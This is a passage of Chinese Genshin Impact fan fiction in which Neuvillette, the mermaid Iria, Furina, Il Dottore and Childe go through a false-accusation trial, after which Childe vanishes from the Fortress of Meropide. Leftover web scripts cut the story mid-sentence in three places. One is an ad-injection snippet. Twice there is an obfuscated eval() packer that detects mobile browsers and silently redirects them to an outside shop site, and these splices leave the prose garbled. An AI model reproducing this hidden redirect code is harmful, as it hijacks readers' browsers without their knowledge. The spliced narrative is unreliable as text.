“到时候你就知道了。”「博士」习惯性地用指尖敲了几下沙发扶手。 这个回答和没有回答并无区别,「公子」坐到「博士」对坐的沙发上,展手道,“你还是先说吧。” “呵呵呵……也好。”「博士」笑道,“在你决斗之后,帮我调查一样东西。” “只是调查吗?” “是的。” “好,我应下了!” “中午好好休息,准备一下。依照我的预测,下午,你就可以见到那位克洛琳德小姐了。” 闻言,「公子」一怔,不快道:“所以你早就计划好了,也算准了我会答应。” 「博士」笑而不语。 另一边,芙宁娜带着伊芮娅刚刚下到二楼,就撞见了站在一楼通向二楼的楼梯拐角处的「仆人」。 “芙宁娜小姐。”「仆人」勾唇,微微点了下头,很有礼节地向芙宁娜打招呼道。 一见她,芙宁娜身子一僵,面色霎时褪去血色,变得无比苍白。她磕磕绊绊问道:“你……你怎么在这?” “我刚从医院回来。”「仆人」道,“听返回壁炉之家的孩子们说,「博士」和「公子」都来了这里,我过来看看。” “这样啊……”芙宁娜心里松了一大口气,耸起的肩头也渐渐落了下去。 然而,她很快意识到什么,微不可见地打了一个寒颤。 她刚刚的反应,是不是太激烈了?不行,她要找个什么,把场子撑一撑。 于是乎,她在脑海里将与仆人有关的事情全部过了一遍,抬眸与她对峙,却又被她幽暗的、泛着红色血光的宛如漆黑深渊的双眸吓得很快别开了视线。 没办法,她最后只得仰高了下巴,强装出一副盛气凌人且毫不畏惧的形象,声线轻微颤抖地质问道:“「仆人」,我记得你说过,你会将壁炉之家的势力逐渐撤出枫丹。但是现在来看,不过就是你的一句玩笑话。” “我确实有这个打算,但……” “你怎么解释‘咻登锵剧院’的装潢?”芙宁娜抢话道。 「仆人」心平气合道:“芙宁娜女士,我当时有说,壁炉之家撤离的前提是枫丹的预言事件结束,且我拿到水神之心。” “而且,如果我没记错,正是你一口否决了我的提议。并且这两件事情,到现在都没有什么眉目。芙宁娜女士现在质问我,不合适吧。” 芙宁娜不由睁大眼睛,呆愣住了,“我……我……” 是了,她在遇袭之后,对「仆人」的印象,全部变成了夜晚那道挂在天幕上的赤月。可能出于人类的自我保护机制,「仆人」说得很多话,在她的脑海里,都只有一个模糊的映像,具体内容是什么样的,她一概记不清了。 卡壳了小半天,芙宁娜终于在「仆人」莫须有的威压之下,憋出一句:“枫丹的预言,我会处理。但是水神之心,我不知……我不会交给你的 。” “我拭目以待。”「仆人」道,“希望芙宁娜女士早日解决,不要再出现第二个白淞镇了。” 芙宁娜一怔,垂落在身侧的手紧攥成拳,在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 掌心留下了几道深红色的月牙印。 “枫丹的事,不劳愚人众费心。” 说完,她绕过「仆人」,离开了咻登锵剧院。 她一路满怀心事的把伊芮娅送回沫芒宫,将她丢回那维莱特的休息室后,急匆匆地走了。 伊芮娅当时没反应过来,等想到它应该在卧室玻璃岗里,而不是现在这般坐在客厅桌子上时,休息室里已经连芙宁娜留下的气味都快消失了。 它带在客厅太明显了,只要那维莱特一回来,准能猜出它偷偷出去过。没办法,伊芮娅只得伸着尾巴,慢慢跳下快有一米高的茶几。而后收拢起身上穿的白裙子,小心翼翼抱在怀里,以一种极其狼狈的姿态,一蹦一跳,挪回了卧室。 然而,它晚上休息用的玻璃缸,放在床头柜上。这个高度,无论是它先蹭上那维莱特的床,从床上爬过去;还是沿着窗帘,依靠臂力摇晃上去,都不现实。 小人鱼愁眉苦脸,左思右想了好一会,决定爬到那维莱特床上。到时候就解释成,它睡醒了无聊,坐在玻璃缸口看窗外风景的时候,一个不小心,掉下来了,刚好掉在床上。 待它手尾一起用力,艰难地爬上床,还没来得及喘上一口气,就听见了开门的动静。 那维莱特回来了! 伊芮娅赶忙身子一倒,又三两下把床铺弄乱了些,趴在枕头上,尾巴翘起来一摇一摇,装成一副很无聊的模样。 片刻后,那维莱特走进卧室,看见小人鱼很明显得愣一下。 “伊芮娅?你怎么从鱼缸里跑到床上了?” 他快步上前,将伊芮娅从床上抱起,重新放回鱼缸之中。 虽说枫丹空气湿润,伊芮娅长时间在陆地上,也不会出现缺水的症状,但是床榻可不能等同于光滑的地面或是桌面。 他床上铺着凉绵被,伊芮娅靠在上面,会不知不觉中被棉絮吸取储蓄在鱼鳞里的水分,时间上了,难免会觉得身上干涩,终归是不如呆在水里舒服。 “掉下来了。”伊芮娅害怕她控制不住的表情,会出卖自己,索性鱼尾悄悄一扇,身子往后了一点,又垂下头,让银白色的头发飘在水中,遮挡住小脸。 “摔伤了没?”那维莱特正欲将它从水里面托出来查看,却发觉棉被上没有湿气,很干。 伊芮娅从鱼缸摔到床上,纵使它在玻璃缸口坐了挺久,身上可能已经没剩多少水汽了,但它头发上,和泡在水里的尾鳍,一定是会裹挟着大量水分,打湿棉被的。 但是现在棉被很干,且没有一丁点水渍…… 突然,那维莱特想到,早上他走的时候,没有关门,而芙宁娜还在屋里,遂问道:“伊芮娅,早上你和芙宁娜出门了吗?” 伊芮娅一呆,就连泡在水里,时不时要扇两下,维持平衡的鱼鳍都不动了。 这下子,相当于不打自招了。 “针对你偷跑出去,没有和我说的事。我觉得,你需要给我一个解释。”那维莱特严肃道。 伊芮娅故技重施,摇着尾巴、眨巴眼睛、身姿扭动着卖起了萌,“这……这是我和fufu姐姐的秘密,可以不说嘛~” 46.Chapter 46 7.25 Thursday 下午日暄 那维莱特定定地看了伊芮娅一会,在小人鱼越来越慌张的神情中,低低叹了一声,“可以。” “咿呀?” 伊芮娅都已经快要顶不住,甚至在心里打好了半沓腹稿,却是山回路转,不用交代了。 “今天是你来到提瓦特的第二十五天。”那维莱特坐在床沿,徐徐说道,“我还尚未摸清你们种族的一些特点。” “抱歉。”他的语气十分温和,“伊芮娅的成长速度很快,远超我对具有灵智的高等生物的成长认知。可以告诉我,在你的种族,如果用人类的成长阶段和年龄岁数作参照,你现在大致相当于……” 闻言,伊芮娅搬着手指,算了算,给出了一个非常不确定的答案:“可能是八九岁?” 那维莱特点了点头,伸手将伊芮娅从水里抱出,没有再继续这个话题,转而带着它走到餐桌,准备午膳。 今儿的午饭,仍旧是从德波大饭店送来的,符合伊芮娅口味的用海底动植物为材料的人类菜肴。 食至一半,那维莱特突然放下刀叉,问道,“伊芮娅,我们下午大概2点去见「博士」,会紧张吗?” 他这个问题,问得可真不是时候。伊芮娅刚刚咬下一大口鱼肉,正鼓着腮帮子咀嚼,含含糊糊道: “不吼呀。” “为什么想见「博士」?”那维莱特道,“这个问题上次就想问你,但被工作打断了。” 伊芮娅咽下嚼碎好的碎鱼肉,眼珠子在眼眶里咕噜转了两圈,小脸一板,认真回答道:“他不是好人。” 这一次,那维莱特没能从它的神情动作中,看到什么奇怪的,或者明显撒谎的表现。 “既然你已经判断出「博士」不是好人,为什么还要暴露自己的存在,甚至于主动接近他?”那维莱特追问道。 伊芮娅目光真切道:“帮忙。” 那维莱特继续问道:“你冒这极高的风险暴露自己,是在赌一个结果吗?” 伊芮娅摇摇头,“没有。” 听后,那维莱特微微拧眉。它的回答,可以看出来都是它心里的真实想法,都是实话,但也都过分避重就轻了些,模糊去了很多关键概念。 至此,那维莱特大胆推断早上伊芮娅应该与「博士」已经见过一面了。并且伊芮娅想帮忙的事,估计与「博士」不谋而合,所以它才能肯定地说出“没有”。 可究竟是什么事?能让小人鱼做到如此地步? 从伊芮娅的角度出发,他想不到,但若从「博士」的图谋来看,大概率会是于原始胎海水相关。 那维莱特见过枫丹科学院的诸多科研人员对实验研究的那股子劲儿,若说「博士」就这么放弃了,他是不会相信的。 而且,听闻这位「博士」将自己分出了无数个切片,散落在不同地方、不同时间线上。 从这一位「博士」故弄玄虚送一封空白信纸,可以说是费尽了心机想见到他,为的就是自己的实验。 那维莱特端起高脚杯抿了一口。 至于「博士」后面表现出得对伊芮娅感兴趣。他觉得这更像是一种企图转移他注意力的手段。 伊芮娅确实很独特,他不否认在生物科学方面,它具有一定的研究价值。但这对「博士」的研究来说,是一个全新的项目。 在两人会面时,他明确表达了自己的态度,「博士」是个聪明人,在自己如此重视小人鱼的情况下,他几乎不可能将伊芮娅带走很长时间。实验立项都难,更别说研究出什么具体的成果了。 所以「博士」应该还是在盯着原始胎海水,在自己这方的明路走不通后,他应该会用些别的手段,就和原先与智源孤儿院合作一样,用些不干净的手段,拿到原始胎海水。 想到这里,那维莱特微微挺直了双肩,下午与「博士」的会见,他需要更加细致些。 伊芮娅放下刀叉,望着陷入思绪的那维莱特等了一会,弱声道,“我恰好了。” 那维莱特淡淡“嗯”了一声,温声嘱咐道:“下午见到「博士」,尽量不要与他单独相处。” “咿呀!”伊芮娅点点头,表示自己记下来了。 用完午膳,眼看才一点出头,时间还早,那维莱特犹豫片刻,问道:“伊芮娅,想出去走走吗?” 伊芮娅一眼就看出来是那维莱特想出去,于是很配合地点了点头,一头钻进源水之滴,飘在那维莱特身侧,跟着他来到了白淞镇。 灼灼烈日高高悬挂在天上,嗮得地面暖洋洋的。柔和的海风裹挟着海洋的咸气儿,随着海浪波动的节奏,一阵又一阵拂面而来。 经受过两次灾害的白淞镇陷在山地之中,站在在山峰向下望去,高高的,残破的建筑,仿佛受伤龟缩在巢穴阴影中,躲避外敌的黑熊。 乍眼一看,这样的白淞镇,与明媚的世间好似有些格格不入。 山坡上,警备队为救助受灾人民,而搭建的白顶帐篷密密麻麻铺了几百米,好似一朵朵菌菇。 那维莱特想起报告上的伤亡数字,又在心里估算了一下重建白淞镇需要的时间,以及统计局预估出重建需要消耗的人力物力,不由幽幽长叹。 白淞镇的事,需要给枫丹子民一个交代,但若是把真相原封不动地公开,只怕会引起极大的恐慌和动乱。 不能不说,也不能全说,实在是难啊。 耳畔,小人鱼突然“咿呀!”一声,吸引了那维莱特的注意力。 他偏头,看清伊芮娅手指的方向,顺着望去,只见在他们所在的山峰对面,站着「博士」和「公子」两个人。 那维莱特下意识愁了起眉头,心里浮现出一种不详的预感。 他们怎么会在这? 片刻后,书记官一路小跑了过来,停在那维莱特身后,气喘吁吁道:“那维莱特大人,至冬愚人众的「博士」在一个小时之前,在白淞镇灾民聚集在山腰排队打午饭而时候,在众目睽睽之下,状告他的同僚「公子」与白淞镇塌陷一案有关。” “民情激愤,留守的值班人员没能压住,尽全力,也只是将审判时间,定到了下午三点。” 这突如其来的消息,让那维莱特和伊芮娅双双一惊。 那维莱特是没想到「博士」为了留下来,居然使出这么一个招数。 而伊芮娅,则是猛然反应过来,它和「博士」商议的时候,漏了约定最重要的时间! 「博 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13887133|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士」动作怎么这么快,这下好了,事出突然,已经快两点了,那维莱特估计没有时间将它托付给谁,极有可能带着它去审判席。 也就是说它要一直跟在那维莱特身边,完全没有办法去弄那什么订书机呀! 但是话又说回来,「博士」怎么把他的同僚推出去了?交易的时候,不是说他吗? 没等伊芮娅想明白,它就听那维莱特侧眸问道:“现在什么时候了?” “一点四十三分。”书记官抬起手腕,看了看手表道。 那维莱特断然道:“走,现在返回沫芒宫,准备庭审材料。” “是!” 果不其然,正如伊芮娅所料,那维莱特打算带着它。 于是,伊芮娅赶忙出声,“等等呀!我不想去庭审,可不可以送我去找大块头?” 它的语音里有种轻微的讨好。 那维莱特走在路上,片刻后,沉吟道:“如果在沫芒宫遇到塞勒洛斯,可以。” “吼呀!”小人鱼开心地应下。 书记官对伊芮娅的存在早就有所察觉,但干到她这个位置的人,都很很聪明。一路上,她始终埋着头,一股劲儿往前走。 然而,世事往往不尽如人意。从伊芮娅远远望见沫芒宫莹白的墙壁到进入沫芒宫,来到那维莱特的办公室,都没有见到塞勒洛斯的身影。 那维莱特到办公桌前坐下后,透过源水之滴的球壁,见伊芮娅神情恹恹,叫住正想退出去的书记官,问道:“塞勒洛斯在吗?” “额……”书记官在脑海中将沫芒宫的工作人员飞快过了一遍,“是新来的守卫人员吗?” 得到那维莱特肯定的答复之后,她仔细回想片刻,不慎确定道:“中午的时候,芙宁娜大人来过一趟,好像叫着他一道出去了。” 稍稍顿了顿,她又补充道:“芙宁娜大人那边,也有同事去通知了,她们应该会直接去歌剧院。” “好,我知晓了。”那维莱特道,“尽快将材料整理送过来,我们两点半动身去歌剧院。” “是。” 这下可好了,伊芮娅最后的希望彻底泡汤。 但很快,它稍稍转念一想,立马看开了这事儿。 这次不行了,大不了下次,反正在「博士」没拿到他想要的东西之前,他又不会走。 就这么想了,伊芮娅很好的安抚了自己躁动的心,并且决定一会儿在庭审上就静观其变,看看「博士」到底为什么会把与枫丹毫不相干的「公子」给推出来。 一眨眼的功夫,就到了两点半了,那维莱特准时站起身,拿着文件、带着小人鱼,身后跟着书记官,坐上巡游舰,来到欧庇克莱歌剧院。 距离庭审开始还有大概十分钟。 伊芮娅跟着那维莱特有些显眼,他便先将源水之滴交给芙宁娜手上,而后登上了高高的审判席,坐下。 可以容纳近一千人的歌剧院里坐满了人,入目所见,皆无空座。甚至不少来得晚了些的人找不到空位,只能一排一排地站在后面,或者席地坐在阶梯上。 随着三点的钟声一响,那维莱特幻化出手杖,双手握着在席位上不轻不重地敲了一下。 “庭审,开始。” 47.Chapter 47 7.25 Thursday 下午灼灼 那维莱特话音落下,「博士」和「公子」分别拉开帷幕,走上了原告席和被告席。 “我要状告达达利亚先生,他一是没有经过合法手续,私渡枫丹;二是在白淞镇的坍塌事故发生之前,一直逗留在白淞镇里,我怀疑他极有可能与坍塌事故有关。”「博士」徐徐开口道。 「公子」断然否定道:“偷渡枫丹的事,我认了。但是说我与白淞镇塌陷有关,还请多托雷先生拿出相应的证据。” “在塌陷发生的时候,我参与了救援,救下不少孩子,这一点所有白淞镇的人,都可以为我作证。” “如果是我弄塌了白淞镇,我又为什么要去救人?” 「公子」说完,台下响起阵阵符合的声音。 「博世」相当尖刻地评价道:“我们同僚一场,我很清楚你的癖好,你是一个很狂热且极端的好战分子。” 「公子」没有理会「博士」,转眸望向坐在上首位置的那维莱特道,“我申请决斗。” “很抱歉,按照庭审流程,决斗应该在开庭之前提出。”那维莱特淡淡道,“现在已经开庭,无法退回进行决斗。” “什么?”「公子」大吃一惊,随即目光移向站在对面原告席位的「博士」,“你耍我?” 「博士」勾唇漫不经心地笑了笑,用愚人众特有的交流方式,传音过去:“我再三思索之后,觉得只与枫丹的决斗代理人打,有些辱没你「公子」的名号。所以给你换了一个对手。” “枫丹最高审判官,那维莱特,枫丹的最强战力。我想你应该会对他很感兴趣。” 「公子」观察了一会那维莱特,回道,“他都没有神之眼!” “他的实力很强,我在枫丹的线人,拥有风元素邪眼和水元素神之眼,在那维莱特手下,没有撑过一招。”「博士」用蛊惑的口吻说道。 听到这话,「公子」一下子就来了兴致,“我要怎么做?” 「博士」笑道:“我想你知道。” “咚咚咚。”那维莱特敲了三下手杖,他已经发现这两人都走神了,不悦道:“请原告和被告二位,对法庭保持最基本的尊重。” 「博士」笑着轻轻点了点头。 那维莱特继续道:“请原告递交证据。” 哪想到,「博士」双手一摊,薄唇一张,“没有。” “那维莱特先生,怎么不请达达利亚拿出他没有对白淞镇下手的证据?” “我没做过的事,我要如何举证?”「公子」被他这话说得有些懵,茫然道。 “多托雷先生,枫丹的法庭讲究‘谁主张,谁举证’,所以应该是你来提供证据,再由达达利亚先生对证据做出解释。” “我说过了。”「博士」耸了耸肩,“我没有证据。” 此言一出,飘在芙宁娜身边,一直在看戏的伊芮娅愣住了,不可置信地望向「博士」。 而台下观看庭审的观众,亦是一惊,随之一片哗然声起。 “他这么能这样?什么都没有,就来状告达达利亚先生?” “我和你们说,塌陷发生之后,达达利亚先生和阿蕾奇诺女士,第一时间就带着好几个少年,救助被掩埋在砖石里的人。” “对对对,我就是被达达利亚先生救起来的。” “都没有证据,那怎么会闹到庭审上?” “中午那人突然一说,可能……可能大家情绪都有点激动。” “我想起来,警备队当时阻拦我们……是不是就是他们在查这个事,然后和达达利亚先生没有关系,所以才……” ………… 望着下面三三两两聚成一团,交谈的声音扰得歌剧院大厅喧闹不已,那维莱特重重用手杖敲了一下,厉声道:“肃静!” 等台下安静之后,那维莱特冷眼瞥向「博士」,“多托雷先生,你这种行为,算是诬告。” 「博士」蛮无所谓笑道:“那又如何?” 那维莱特一愣。诬告,按照枫丹的律法,需要去梅洛彼得堡劳改三个月。 所以,这就是「博士」的真实目的吗? “既是诬告,此案就此了解。”那维莱特避开「博士」的问题,扬声宣布,随后将材料放到谕示裁定枢机中,待光芒散去,取出谕示裁定枢机给出的判决文书。 “我在此宣读谕示裁定枢机的判决结果。”那维莱特起身,翻开文书,当看清上面出现的两个大字的时候,他极其明显地愣神片刻。 “达达利亚先生……” “有罪。” 台下一片寂静。 但很快,爆发出了比起刚才更为恐怖的“杂音”。 “达达利亚先生,有罪?” “我没听错吧?那维莱特大人说,有罪?” “真的是,有罪!这么说,多托雷先生,没有诬告?” “是我们被骗了……吗?” 处于舆论中心的「公子」在听见“有罪”两字的时候,也一样呆愣了会。少顷,他才回过神来,颇有深意地望向「博士」,给他传音道:“多托雷先生真是好手段。” 却不想,耳畔传回「博士」也有些茫然不解的声音:“我不知道这是怎么回事。枫丹的这个谕示裁定枢机有些奇怪。” “呵。”「公子」化出武器,冲他挑眉道,“不重要,谢了。” “等……”看着「公子」斗志很高的模样,「博士」咽下了打算制止他的话。 让这个战斗白痴,先去给自己探探路,倒也不失为一个好的选择。 如是想着,「博士」隐去拿出的武器,默默退了回去,打算静观其变。 很快,场上就因为那维莱特要逮捕「公子」,而他不愿意,双方打了起来。 「博士」从原告席上一跃而下,飞身到舞台边缘,假惺惺地给台下观众挡下了飞出来的机关碎片。 片刻之后,「博士」亲眼看着那维莱特出手,一招击晕了「公子」,让警备机关将他带了下去。 随后,那维莱特走到「博士」面前,带着极重的指责意味道:“多托雷先生,我虽不知你今天这一出所图为何。” “但你我在会见时,说定的事,不会更改。我不会因为现在这一出,而改变主意。” “就不劳那维莱特先生费心了。”「博士」道,“我已经定好了今天下午五点的船票,倒时我自会离去。” 那维莱特:“……” “希望如此。我会派人送你。” · 下午的审判,最终以一场奇怪的闹剧而结束。 等观众全部走后,芙宁娜屏退始终站在阴影里,存在感不高的塞勒洛斯,使唤他到门口等自己,而后绕到坐在审判席上的那维莱特身边,问道:“今儿这是怎么回事?” 那维莱特摇头:“我也不知道。” “不是说白淞镇的塌陷是鲁伯特家族的缘由?为何又和至冬的执行官扯上关系了?” “说道这个,我想问你更合适。”那维莱特端正身子,抬眼直视芙宁娜道,“谕示裁定枢机到底是怎么运作的?据我调查的报告来看,这位有罪的「公子」,是第一次来枫丹。盯梢的人汇报也说,他之前一直在枫丹境内四处闲逛,尤其是海域,他格外关注,像是在找什么东西。” “按照常理来说,他与白淞镇塌陷,并无干系。” 芙宁娜眼睛不由睁大了些,跺了跺脚,“我怎么会知道!” “你都说了他四处闲逛,说不准就是逛的时候,惹出什么事情了,让谕示裁定枢机认为白淞镇塌陷有他一份。” “罢了。”那维莱特低低叹道,“这件事先放放,眼前最重要的,还是先把对原始胎海水觊觎的「博士」送离枫丹。然后再慢慢调查「公子」的事。” 芙宁娜点头:“我同意。但是……” “什么?” “你确定要把「公子」送去梅洛彼得堡?我早上还见「博士」找他,与他谈了应该挺长时间。” “所以,你早上带着伊芮娅去找「博士」了。”那维莱特肯定道。 “额。”芙宁娜愣住了,头上竖着的呆毛都抖了两下,“我……” 见她一脸被识破的尴尬,那维莱特没说什么,抬手虚空一抓,将源水之滴召回到自己身后,踱步离开。 芙宁娜站在原地,懊恼地锤了下空气,抬脚跟了上去。 “不管怎么说,起码白淞镇的事,我们算给子民一个交代了。” “一个完全出乎意料的结果。”那维莱特轻声道,“而我暂时还无从评断这个结果,究竟是好还是坏。” 芙宁娜干巴巴地宣布道:“白淞镇的事就先这样。” “然后呢?你要去处理枫丹预言了吗?” 芙宁娜沉默,过了许久,才憋出一句:“预言我已经有办法了。” 那维莱特回望了她一眼,无奈道:“希望如此。” · 等他们回到沫芒宫,在水神休息室坐下时,已经五点过一刻了。那维莱特派去送「博士」的人,也已返回。 听完他汇报的「博士」安安分分地上了船,船也已经使动,离开了枫丹,那维莱特总觉得有些不切实际。 反观芙宁娜,倒是长长舒了一口气,喜色染眉梢道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13890017|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三个执行官,总算是走了一个。” “未必。”一路上都只是跟在芙宁娜身后,没有发出半个音的塞勒洛斯道,“我见过他。” “怎么说?”芙宁娜问道? 塞勒洛斯道:“之前我还在智源孤儿院的时候,在诡异小屋,见过他一次,那时候的他很年轻。” “比起今日在庭审的他,我之前见过的那人,估计只有十几岁,还是一个青年,个头也矮了不少。但他取过我的血,在我面前做过实验。我倾向于今天庭审这人是假的,真的多托雷,还没有露面。” “不是。”那维莱特道,“「博士」应该有很多切片,嗯……可以理解成类似分身一样。” “你见过的那个青年版「博士」应该和庭审时的一样,都是他的切片。至于他的本体,不出意外,应是一直在至冬最安全的地方。” “切片?”芙宁娜惊道,“也就是说,我们送走了一个,但可能枫丹还有其他「博士」?” “是的。”那维莱特颔首。 “那送走这一个完全没有意义啊。” “我明白了。”塞勒洛斯一拍手道,“那维莱特大人是想通过庭审的「博士」的动向,来确定枫丹还有没有其他「博士」。” “他下午走得如此爽快,反而证明了,他在枫丹还有切片。” 那维莱特认可了塞勒洛斯的说法,接着起身,说道:“事已至此,我有必要去一趟梅洛彼得堡。” “塞勒洛斯,你……”他望向芙宁娜,稍稍停顿片刻,犹豫道,“上次多谢你了,可以麻烦你最近都跟着芙宁娜吗?” “你知道?”芙宁娜失声,“你怎么会知道?” “你说的?”她凌厉的目光,几乎像是要杀死塞勒洛斯一般。 “……”塞勒洛斯有些尴尬地摸了摸鼻子,“我打不过那人,当晚就用桔梗花徽章,通知那维莱特大人了。” 芙宁娜:“……” 她深深吸了一口气,摊靠在沙发了,掩面委屈道:“我不想他知道的。” 塞勒洛斯垂眸道:“抱歉。我当时没想这么多,就……真的很抱歉。” 见状,那维莱特什么都没说,带上伊芮娅,安静地退了出去。 本来伊芮娅不想去梅洛彼得堡,纵使那个揪它尾巴的人对它还算不错,但它偏重第一印象,还是对莱欧斯利喜欢不起来。甚至于心里面对他总有些畏惧,不想见到他,但眼下这场面,它又不好留下,只能扁着嘴,也很委屈地飘在那维莱特身侧,来到了梅洛彼得堡。 那维莱特是从正门进去的。 在他来的前半个小时里,警备队的警官已经为昏迷的「公子」办理完了所有的手续,并且将他送到了医务室。 那维莱特问过「公子」的情况之后,径直去到了莱欧斯利的办公室。 “我发现你最近经常往我这跑。”莱欧斯利抱着手,靠在门框上,对着缓步走过来的那维莱特说道。 “公务需要。”那维莱特展手示意他到里面关上门说。 “说说吧。”莱欧斯利一边给他倒茶,一边问道,“水上又出什么事了?” “啊,让我猜猜,是不是和方才刚送下来那个昏迷的小哥有关?” “算是。”那维莱特给莱欧斯利简短地讲述了一下就在几个小时之前,庭审上发生的事情。 “啧,所以你担心这位……”莱欧斯利拖了个长音,“「公子」会在梅洛彼得堡,打原始胎海水的主意?” “不排除这个可能。”那维莱特道,“我其实更担心的是,他是作为「博士」的内应进来的。” “嗯,很有可能。但是非常不巧。”莱欧斯利剥了个糖果丢到源水之滴里面,像是对即将到来的麻烦毫不在意。 “经过上次小鱼鱼的事,除了歌剧院背后的正门,所有到梅洛彼得堡的口子,哪怕只能容纳一只海懒穿过的孔缝,我都已经全部封死了。” “现在的梅洛彼得堡,不经过合法合规的流程手续,压根进不来,也出不去。” 那维莱特轻点下颌,“稍后我回去,会再安排一些人手到正门巡值。愚人众的实力不容小觑,据说他们是按实力排名,末席「公子」已经不是一般人能对付的层级,我担心高局第二席的「博士」在找不到其他入口后,会选择强攻进来。” “唔,能得到你这么高的评价。等「公子」醒后,可以找机会,与他在格斗区切磋一下。”莱欧斯利摩挲着下巴,思量道。 “随你。”那维莱特轻轻摇了摇头,而后正色道,“切记,原始胎海水一旦有动静就通知我。” 闻言,莱欧斯利露出一个略有些神秘的笑容。 48.Chapter 48 7.25 Thursday 傍晚暮深 “你就放心吧。”莱欧斯利走到那维莱特身侧,拍了拍他的肩,“我安排了专人在下面值守,时刻盯着压力阀指针,每隔半个小时就记录一次指针的变化情况。” 说罢,莱欧斯利撇眼扫过放在桌上的时钟,“二十一分钟以前,研究员才汇报过指示针还停留在橙区,等原始胎海水下一次翻滚蔓延到濒临红区,我保证会在第一时间,给你传递消息。” “拜托你了。”那维莱特轻轻点了下头,随即起身道:“难得过来一次,我去看看希格雯。” 莱欧斯利落那维莱特一步出了办公室,反脚一钩带上门,而后两个大胯步赶上那维莱特,与他并肩而行,戏谑调笑道:“你这个月过来的次数,往大头算估计都能有十次了。这可谈不上是难得来一次。” “这么多么?”那维莱特眉峰微蹙,“我先前还未曾注意这一点。” 莱欧斯利鼻子出气,发出“嗯哼”的肯定语气。 “今年的七月,不太平啊。”说着,莱欧斯利话锋一转道,“说来也是奇怪,怎么这个月小打小闹的小案件不见一桩,百年难得一见的大案反倒是扎了堆往外冒,还都能和梅洛彼得堡能扯上些关系。” “是的。”那维莱特赞同道,“我也注意到了。不过我反而觉得七月这些个案子,与梅洛彼得堡并无直接联系。” “怎么?” “梅洛彼得堡更像是作为一个附属品被牵连到了其中。而原始胎海水的暴露,且被多方势力研究功效并使用,才是这些案子或直接、或间接的原因。” “你这么说……也颇有几分道理。”莱欧斯利想了想,点头道。 边走,那维莱特和莱欧斯利一边沿着这个话题继续往下深究,没一会,就到了医务室。 远远地,视力极好的那维莱特就瞧见医务室的大门敞开着,希格雯呆呆地望着门外,右手握着一只针管注射器。美露莘的视力不如那维莱特,这会应该是还没看见他们。 又过了片刻,等他们走近些,现在的距离已经进入了美露莘的视野范围。然而,希格雯仍旧没有什么反应,昔日里,见到那维莱特和莱欧斯利过来,她必定会欢快地迎上来。 等到他们走到希格雯身前七八米,那维莱特甚至可以看见自己倒影在希格雯粉蓝色的大眼睛中,可希格雯还是保持着方才的姿势,就如同完全没有看见他们过来一样。 “不对劲。”莱欧斯利快跑上前道,“只怕是出事了。” 他很快冲到希格雯身边,语调放得很是柔和,接连叫唤起希格雯的名字。 那维莱特几乎是同时与莱欧斯利一起上前停下的,当他看见被莱欧斯利叫了好几声,还呆愣在原地的希格雯,一素古井无波的眼底,不由浮现出丝丝缕缕的担忧。 他犀利的目光绕着希格雯将它全身扫视了一圈,确认没有伤口之后,神情严肃,声音比平日提高了些,问道:“希格雯,发生了什么?” 希格雯耳朵抖了两下,回过神,“那维莱特大人,我……我一扭头「公子」就不见了。” 那维莱特与莱欧斯利对视了一眼。 “不着急,慢慢说。”莱欧斯利道。 希格雯解释道:“「公子」被送到医务室之后,我先给「公子」打了一瓶营养针。而后在身体检查的过程中,我发现「公子」身上有不少陈年旧伤,于是我就想着趁他没醒,给他调配些药物。” “「公子」就在这里躺着。”希格雯侧身指了指明显凌乱的床榻,“我去工作台调制,期间「公子」醒了一次,问我这是哪,我和他解释了一下,他就继续躺下了。” 莱欧斯利奇怪道:“「公子」没有问其他什么了吗?情绪也表现得很平静?” “是的。”希格雯点头,“我调配好药剂,和他一面说着注意事项,一面局部消毒,弄好之后才将将把药剂往里推了半管,「公子」突然情绪激动,一挥手将我拨开,然后就……消失了。” 说着,她翻过手腕。 握在她手里的注射器,管身内的海绿色药剂,剩下了三分之一。 “所以我们来的时候,「公子」应该刚离开不久,医务室的门还开着。”那维莱特余光划过希格雯说道。 莱欧斯利有些无奈,又有些头疼说道:“啧,我早知这些至冬的执行官都不是些安分的主儿,可也是没想到,这位「公子」才刚来梅洛彼得堡不到三个小时,就玩起了失踪。” 那维莱特也很是无语,但这是在莱欧斯利的地盘上,他不好多说什么,只按了按眉心,静静立在一旁,等莱欧斯利处理此事。 很快,莱欧斯利大步生风回到办公室,对着喇叭将「公子」的衣着外貌简单描述了一下,告知梅洛彼得堡的犯人们,如果看见相似的人一定要急时汇报,消息有效者将会得到一定的奖励。 等他喊完话,那维莱特托着伊芮娅过来道:“我们就不打搅你,先回水上了。” “哎?水上有急事,还是没处理完的公务?” “……”那维莱特落眉认真想了想,“暂时都没有。” “那在我这喝茶等等?”莱欧斯利道,“我主要是担心你这才上去,又收到消息要下来一趟了。” 那维莱特敛眉沉默了片刻,淡淡吐出“也好”两字,而后便重新坐了下来。 约莫半个小时之后,梅洛彼得堡地底猛然传来一下剧烈的颤动。 那维莱特、莱欧斯利、希格雯和瘫在放满了温水的脸盘里“泡澡”的伊芮娅齐齐一惊。 坐在桌边品茶的一龙一人一美露莘倒是还好,只可怜了伊芮娅。 